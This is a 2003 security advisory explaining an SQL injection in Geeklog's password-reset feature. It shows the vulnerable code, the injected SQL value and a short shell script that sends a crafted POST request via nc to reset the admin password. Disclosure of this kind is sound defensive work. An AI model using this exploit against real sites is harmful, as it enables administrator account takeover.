[EXPL] Geeklog SQL Injection Exploit Code

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To: list@securiteam.com
Date: 19 Oct 2003 19:22:14 +0200

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  Geeklog SQL Injection Exploit Code
------------------------------------------------------------------------

SUMMARY

Following is an example of how MySQL SQL injections can be exploited and
how suppressing error messages is not sufficient as a solution. The
example application in this case is <http://www.geeklog.net/> Geeklog, a
'blog' (otherwise known as a Weblog).

DETAILS

Vulnerable systems:
 * Geeklog version 1.3.8-1sr1 down to 1.3.8

Immune systems:
 * Geeklog version 1.3.8-1sr2

The below exploit uses the "forgot password" feature introduced in Geeklog
1.3.8. By constructing a certain kind of HTTP request, an attacker can
change any user's Geeklog password, including the administrator password.
This is because an SQL injection problem. In users.php we have this kind
of code (line about 750):
  if (!empty($uid) && is_numeric($uid) && !empty($reqid)) {
     $valid = DB_count($_TABLES['users'], arrary('uid', 'pwrequestid'),
                       array($uid, $reqid));
     if ($valid==1) {
          // generate an md5 hash for the new password and change it
     } else {
          // invalid request, display error message
     }
  }

The database module layer hides the actual SQL queries and this does not
look very clear yet, but if we log all SQL queries executed, we see that
the above code produces this SQL (with e.g. $uid=2 and $reqid=3):
  SELECT COUNT(*) FROM gl_users WHERE uid = '2' AND pwrequestid = '3'

The password is changed only if the count returned by this query is
exactly one. The only check done for $reqid is that it is not empty. It
can contain anything, so changing $reqid to e.g. "3' or uid='1" the SQL
server will get this query instead:
  SELECT COUNT(*) FROM gl_users
  WHERE uid = '2' AND pwrequestid = '3' or uid='1'

The pwrequestid = '3' condition is false unless the admin user really
forgot the password and uses this feature at the same time (very
unlikely). However, because of the "or uid='1'" part, the query will still
return one, because a user with uid=1 exists (the Anonymous user). So, the
$valid variable in the above code is set to one and the password is
changed.

This of course has nothing to do with displaying error messages. The
exploit does not produce any error message because the SQL code above is
correct.

Jouko has informed Geeklog developers about this and they have released a
fixed version, see <http://www.geeklog.net> http://www.geeklog.net.

Exploit:
#!/bin/sh

echo "POST /path/to/gl/users.php HTTP/1.0
Content-length: 50
Content-type: application/x-www-form-urlencoded

mode=setnewpwd&passwd=new&uid=2&rid=3'+or+uid='1&" | nc localhost 80

This should change the Admin user's password to "new". You have to change
the /path/to/gl/users.php according to your Geeklog installation.

ADDITIONAL INFORMATION

The information has been provided by <mailto:jouko@iki.fi> Jouko
Pynnonen.

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